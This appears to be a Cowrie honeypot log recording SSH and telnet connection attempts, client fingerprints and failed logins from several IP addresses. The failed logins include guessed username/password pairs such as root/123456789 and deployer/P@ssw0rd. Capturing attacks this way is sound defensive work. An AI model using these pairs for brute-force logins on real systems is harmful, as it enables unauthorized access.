{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:24.122659Z","src_ip":"45.153.34.195","session":"1a4fea48276b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testserver","message":"login attempt [root/testserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:24.184441Z","src_ip":"91.92.40.36","session":"38195010dec2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:24.233234Z","src_ip":"91.92.40.36","session":"970510c325a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":45788,"dst_ip":"159.203.135.109","dst_port":22,"session":"e14b28307d9b","protocol":"ssh","message":"New connection: 201.17.146.173:45788 (159.203.135.109:22) [session: e14b28307d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:24.985635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:24.990292Z","src_ip":"201.17.146.173","session":"e14b28307d9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47470,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea22c48c740e","protocol":"ssh","message":"New connection: 45.153.34.195:47470 (10.17.0.5:22) [session: ea22c48c740e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:25.203160Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:25.281343Z","src_ip":"201.17.146.173","session":"e14b28307d9b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:25.286750Z","src_ip":"45.153.34.195","session":"ea22c48c740e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:25.451940Z","src_ip":"45.153.34.195","session":"ea22c48c740e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"password","message":"login attempt [kafka/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:25.844739Z","src_ip":"45.153.34.195","session":"ea22c48c740e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:26.306568Z","src_ip":"91.92.40.36","session":"38195010dec2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ttp","password":"ttp","message":"login attempt [ttp/ttp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:26.414841Z","src_ip":"201.17.146.173","session":"e14b28307d9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:26.944381Z","src_ip":"45.153.34.195","session":"ea22c48c740e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:27.559488Z","src_ip":"201.17.146.173","session":"e14b28307d9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47488,"dst_ip":"10.17.0.5","dst_port":22,"session":"e39f0771d279","protocol":"ssh","message":"New connection: 45.153.34.195:47488 (10.17.0.5:22) [session: e39f0771d279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:28.108968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:28.134301Z","src_ip":"45.153.34.195","session":"e39f0771d279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65042,"dst_ip":"10.17.0.5","dst_port":22,"session":"770c9b4610a9","protocol":"ssh","message":"New connection: 91.92.40.36:65042 (10.17.0.5:22) [session: 770c9b4610a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:28.178312Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:28.228964Z","src_ip":"45.153.34.195","session":"e39f0771d279","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:28.756675Z","src_ip":"91.92.40.36","session":"770c9b4610a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:28.760516Z","src_ip":"91.92.40.36","session":"770c9b4610a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ops","password":"ops","message":"login attempt [ops/ops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:28.815547Z","src_ip":"91.92.40.36","session":"970510c325a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer123","message":"login attempt [deployer/deployer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:28.883603Z","src_ip":"45.153.34.195","session":"e39f0771d279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:30.034637Z","src_ip":"45.153.34.195","session":"e39f0771d279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":38628,"dst_ip":"159.203.135.109","dst_port":23,"session":"81643e93c1e8","protocol":"telnet","message":"New connection: 107.6.151.170:38628 (159.203.135.109:23) [session: 81643e93c1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:30.084231Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47502,"dst_ip":"10.17.0.5","dst_port":22,"session":"4adf57816950","protocol":"ssh","message":"New connection: 45.153.34.195:47502 (10.17.0.5:22) [session: 4adf57816950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:30.993232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:31.000576Z","src_ip":"45.153.34.195","session":"4adf57816950","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:31.084334Z","src_ip":"45.153.34.195","session":"4adf57816950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:31.279091Z","src_ip":"91.92.40.36","session":"970510c325a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"P@ssw0rd","message":"login attempt [deployer/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:31.506431Z","src_ip":"45.153.34.195","session":"4adf57816950","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:31.682197Z","src_ip":"91.92.40.36","session":"770c9b4610a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:32.590711Z","src_ip":"45.153.34.195","session":"4adf57816950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:33.396488Z","src_ip":"91.92.40.36","session":"770c9b4610a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":49818,"dst_ip":"10.17.0.5","dst_port":22,"session":"83e967fc2277","protocol":"ssh","message":"New connection: 45.153.34.195:49818 (10.17.0.5:22) [session: 83e967fc2277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:33.926731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:33.930006Z","src_ip":"45.153.34.195","session":"83e967fc2277","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:34.028290Z","src_ip":"45.153.34.195","session":"83e967fc2277","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59834,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e0683f1a98a","protocol":"telnet","message":"New connection: 172.81.62.90:59834 (159.203.135.109:23) [session: 2e0683f1a98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:34.402685Z"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"12345","message":"login attempt [openclaw/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:34.509423Z","src_ip":"45.153.34.195","session":"83e967fc2277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:35.678673Z","src_ip":"45.153.34.195","session":"83e967fc2277","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":49832,"dst_ip":"10.17.0.5","dst_port":22,"session":"a88e52eee588","protocol":"ssh","message":"New connection: 45.153.34.195:49832 (10.17.0.5:22) [session: a88e52eee588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:36.786041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:36.789362Z","src_ip":"45.153.34.195","session":"a88e52eee588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:36.967519Z","src_ip":"45.153.34.195","session":"a88e52eee588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65142,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e5d0e7a6ba9","protocol":"ssh","message":"New connection: 91.92.40.36:65142 (10.17.0.5:22) [session: 9e5d0e7a6ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:37.094161Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:37.454603Z","src_ip":"45.153.34.195","session":"a88e52eee588","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:37.878237Z","src_ip":"91.92.40.36","session":"9e5d0e7a6ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:38.662459Z","src_ip":"45.153.34.195","session":"a88e52eee588","protocol":"ssh"}
